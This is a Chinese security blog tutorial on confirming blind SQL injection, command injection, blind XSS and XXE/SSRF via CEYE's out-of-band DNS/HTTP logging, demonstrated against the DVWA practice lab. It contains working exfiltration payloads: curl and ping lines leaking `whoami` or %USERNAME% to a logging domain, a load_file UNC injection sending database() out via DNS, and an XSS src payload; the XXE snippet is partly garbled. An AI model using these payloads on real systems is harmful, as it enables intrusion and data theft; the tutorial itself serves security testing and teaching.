33. 注入信息无回显?(给盲注戴上眼镜)

注入信息无回显?(给盲注戴上眼镜)

 

工具简介:

平常的漏洞检测或漏洞利用需要进一步的用户或系统交互。但是一些漏洞类型没有直接表明攻击是成功的。如Payload触发了却不在前端页面显示。(像ssrf,XXE,包括SQL盲注),这样就无法确认漏洞存在。

这时候推荐使用CEYE平台。CEYE是一个用来检测带外(Out-of-Band)流量的监控平台,如DNS查询和HTTP请求。因为DNS在解析的时候会留下日志,咱们这个就是读取多级域名的解析日志,来获取信息,简单来说就是把信息放在高级域名中,传递到自己这,然后读取日志

例如我们自己的域名是:bmjoker.org
那么我们把信息放在二级域名处,xxxx.bmjoker.org
想方法发起这个域名解析请求,那么那边就能收到xxxx这个信息了。

在注册页面注册后,会分给用户一个三级域名,你把信息写在第四级域名上就好了
例如我这里直接浏览器访问:bmjoker.wi0j1m.ceye.io

33. 注入信息无回显?(给盲注戴上眼镜)_第1张图片

 

登录 CEYE.IO,在用户详情页(http://ceye.io/profile)可以看到自己的域名标识符 identifier,对于每个用户,都有唯一的域名标识符如 xxxx.ceye.io 。所有来自于 xxxx.ceye.io*.xxxxx.ceye.io 的 DNS查询和HTTP请求都会被记录。通过查看这些记录信息,安全研究人员可以确认并改进自己的漏洞研究方案。

33. 注入信息无回显?(给盲注戴上眼镜)_第2张图片

 

通过DNS带外信道检测 Blind Payload 的执行情况

DNS查询可以以多种不同的方式进行解析。CEYE.IO平台提供了一台DNS Server来解析域名。它的 nameserver address 被设置为自己的服务器IP,因此所有关于ceye.io 的域名的DNS查询最终都会被发送到CEYE的DNS服务器。

例如,在终端中使用 nslookup:

33. 注入信息无回显?(给盲注戴上眼镜)_第3张图片

发现在DNS Query中顺利记录了我们的DNS查询信息,可以通过搜索框,搜索并导出需要的结果,导出格式为 JSON 。

另外,CEYE.IO平台拥有自己的HTTP服务器,记录用户域名的所有请求:

在DNS Query中记录了我们的DNS查询信息

在后端,CEYE.IO平台将记录客户端的IP地址,请求的URL,客户端环境的用户代理等。您可以在HTTP请求页面中找到详细信息:

33. 注入信息无回显?(给盲注戴上眼镜)_第4张图片

在Linux上命令:

curl http://ip.port.xxxxx.ceye.io/`whoami` 

ping `whoami`.ip.port.xxxxx.ceye.io 

在windows上命令:

ping %USERNAME%.xxxxx.ceye.io

这里顺便给出windows常用变量:

//变量                     类型       描述
//%ALLUSERSPROFILE%        本地       返回“所有用户”配置文件的位置。
//%APPDATA%                本地       返回默认情况下应用程序存储数据的位置。
//%CD%                     本地       返回当前目录字符串。
//%CMDCMDLINE%             本地       返回用来启动当前的 Cmd.exe 的准确命令行。
//%CMDEXTVERSION%          系统       返回当前的“命令处理程序扩展”的版本号。
//%COMPUTERNAME%           系统       返回计算机的名称。
//%COMSPEC%                系统       返回命令行解释器可执行程序的准确路径。
//%DATE%                   系统       返回当前日期。使用与 date /t 命令相同的格式。由 Cmd.exe 生成。有关 date 命令的详细信息,请参阅 Date。
//%ERRORLEVEL%             系统       返回上一条命令的错误代码。通常用非零值表示错误。
//%HOMEDRIVE%              系统       返回连接到用户主目录的本地工作站驱动器号。基于主目录值而设置。用户主目录是在“本地用户和组”中指定的。
//%HOMEPATH%               系统       返回用户主目录的完整路径。基于主目录值而设置。用户主目录是在“本地用户和组”中指定的。
//%HOMESHARE%              系统       返回用户的共享主目录的网络路径。基于主目录值而设置。用户主目录是在“本地用户和组”中指定的。
//%LOGONSERVER%            本地       返回验证当前登录会话的域控制器的名称。
//%NUMBER_OF_PROCESSORS%   系统       指定安装在计算机上的处理器的数目。
//%OS%                     系统       返回操作系统名称。Windows 2000 显示其操作系统为 Windows_NT。
//%PATH%                   系统       指定可执行文件的搜索路径。
//%PATHEXT%                系统       返回操作系统认为可执行的文件扩展名的列表。
//%PROCESSOR_ARCHITECTURE% 系统       返回处理器的芯片体系结构。值:x86 或 IA64(基于 Itanium)。
//%PROCESSOR_IDENTFIER%    系统       返回处理器说明。
//%PROCESSOR_LEVEL%        系统       返回计算机上安装的处理器的型号。
//%PROCESSOR_REVISION%     系统       返回处理器的版本号。
//%PROMPT%                 本地       返回当前解释程序的命令提示符设置。由 Cmd.exe 生成。
//%RANDOM%                 系统       返回 0 到 32767 之间的任意十进制数字。由 Cmd.exe 生成。
//%SYSTEMDRIVE%            系统       返回包含 Windows server operating system 根目录(即系统根目录)的驱动器。
//%SYSTEMROOT%             系统       返回 Windows server operating system 根目录的位置。
//%TEMP%和%TMP%            系统和用户  返回对当前登录用户可用的应用程序所使用的默认临时目录。有些应用程序需要 TEMP,而其他应用程序则需要 TMP。
//%TIME%                   系统       返回当前时间。使用与                                                                                   time       /t                                                                     命令相同的格式。由         Cmd.exe                  生成。有关                       time   命令的详细信息,请参阅 Time。
//%USERDOMAIN%             本地       返回包含用户帐户的域的名称。
//%USERNAME%               本地       返回当前登录的用户的名称。
//%USERPROFILE%            本地       返回当前用户的配置文件的位置。
//%WINDIR%                 系统       返回操作系统目录的位置。

具体CEYE平台使用方法请看:https://www.cnblogs.com/zhaijiahui/p/9160913.html

demo例子演示:

1.dvwa sql盲注测试

详细注入过程请看我之前发布的文章:https://www.cnblogs.com/bmjoker/p/8797968.html

这里主要讲解CEYE平台在sql盲注中的使用,由于需要使用load_file()函数,所以一般得是root权限。先查看load_file()可以读取的磁盘:

 33. 注入信息无回显?(给盲注戴上眼镜)_第5张图片

1、当secure_file_priv为空,就可以读取磁盘的目录。

2、当secure_file_priv为G:\,就可以读取G盘的文件。

3、当secure_file_priv为null,load_file就不能加载文件。

通过设置my.ini来配置。secure_file_priv=""就是可以load_flie任意磁盘的文件。

在mysql命令行执行:select load_file('\\\\bmjoker.wi0j1m.ceye.io\\aaa');其中bmjoker就是要注入的查询语句:

33. 注入信息无回显?(给盲注戴上眼镜)_第6张图片

发现我们的DNS log已经被记录下来。

然后打开dvwa的盲注环节:

33. 注入信息无回显?(给盲注戴上眼镜)_第7张图片

这里存在SQL注入,不过是盲注,无法获得详细信息,需要我们发送大量get请求,来一位一位猜解数据库表,由于大量发送恶意流量,防火墙有时候还会把ip给ban。

然后我们构造注入payload:

1' and if((select load_file(concat('\\\\',(select database()),'.wi0j1m.ceye.io\\abc'))),1,1)--+

运行时明显感觉有迟缓:

33. 注入信息无回显?(给盲注戴上眼镜)_第8张图片

看一下平台记录:

33. 注入信息无回显?(给盲注戴上眼镜)_第9张图片

可以看到DNS log已经记录下我们的注入数据。

我们用同样的方法get数据表:

33. 注入信息无回显?(给盲注戴上眼镜)_第10张图片

通过修改 limit 0,1 可以获得数据表:

33. 注入信息无回显?(给盲注戴上眼镜)_第11张图片

2.dvwa 命令执行

发现现实中像命令执行,一般结果都不会输出出来,无法确认到底是否存在漏洞。

dvwa命令注入完全版可以看我以前写的:https://www.cnblogs.com/bmjoker/p/9084884.html

由于我的系统是windows,所以 ping %USERNAME%.xxxxx.ceye.io ,linux的话上面有介绍。

我这里直接在命令框中输入:

33. 注入信息无回显?(给盲注戴上眼镜)_第12张图片

提交后发现DNS log平台上已经有了记录:

33. 注入信息无回显?(给盲注戴上眼镜)_第13张图片

如果在linux:

33. 注入信息无回显?(给盲注戴上眼镜)_第14张图片

发现我们DNS log成功收到:
33. 注入信息无回显?(给盲注戴上眼镜)_第15张图片

3.XSS(无回显)

通过盲打,让触发者浏览器访问预设至的链接地址,如果盲打成功,会在平台上收到如下的链接访问记录:

payload:

">//xss.xxxx.ceye.io/bmjoker>

让src请求我们的dnslog平台,我这里拿dvwa的反射性xss做演示:

33. 注入信息无回显?(给盲注戴上眼镜)_第16张图片

回看我们的DNS log平台:

33. 注入信息无回显?(给盲注戴上眼镜)_第17张图片

已经收到了请求,所以dns已经被解析。

5.SSRF(无回显)

构造payload,来做内网端口探测:

"1.0" encoding="UTF-8"?>
DOCTYPE root [
"http://ip.port.b182oj.ceye.io/xxe_test">
%remote;]>

 

---------------

感觉这个平台挺有用的,能总结和需要总结的东西实在太多了,这次就先写这么一点吧。

参考链接:

http://ceye.io/

http://blog.knownsec.com/2016/06/how-to-scan-and-check-vulnerabilities/

https://www.cnblogs.com/afanti/p/8047530.html

https://bbs.ichunqiu.com/thread-22002-1-1.html

转载于:https://www.cnblogs.com/bmjoker/p/9973518.html

你可能感兴趣的:(33. 注入信息无回显?(给盲注戴上眼镜))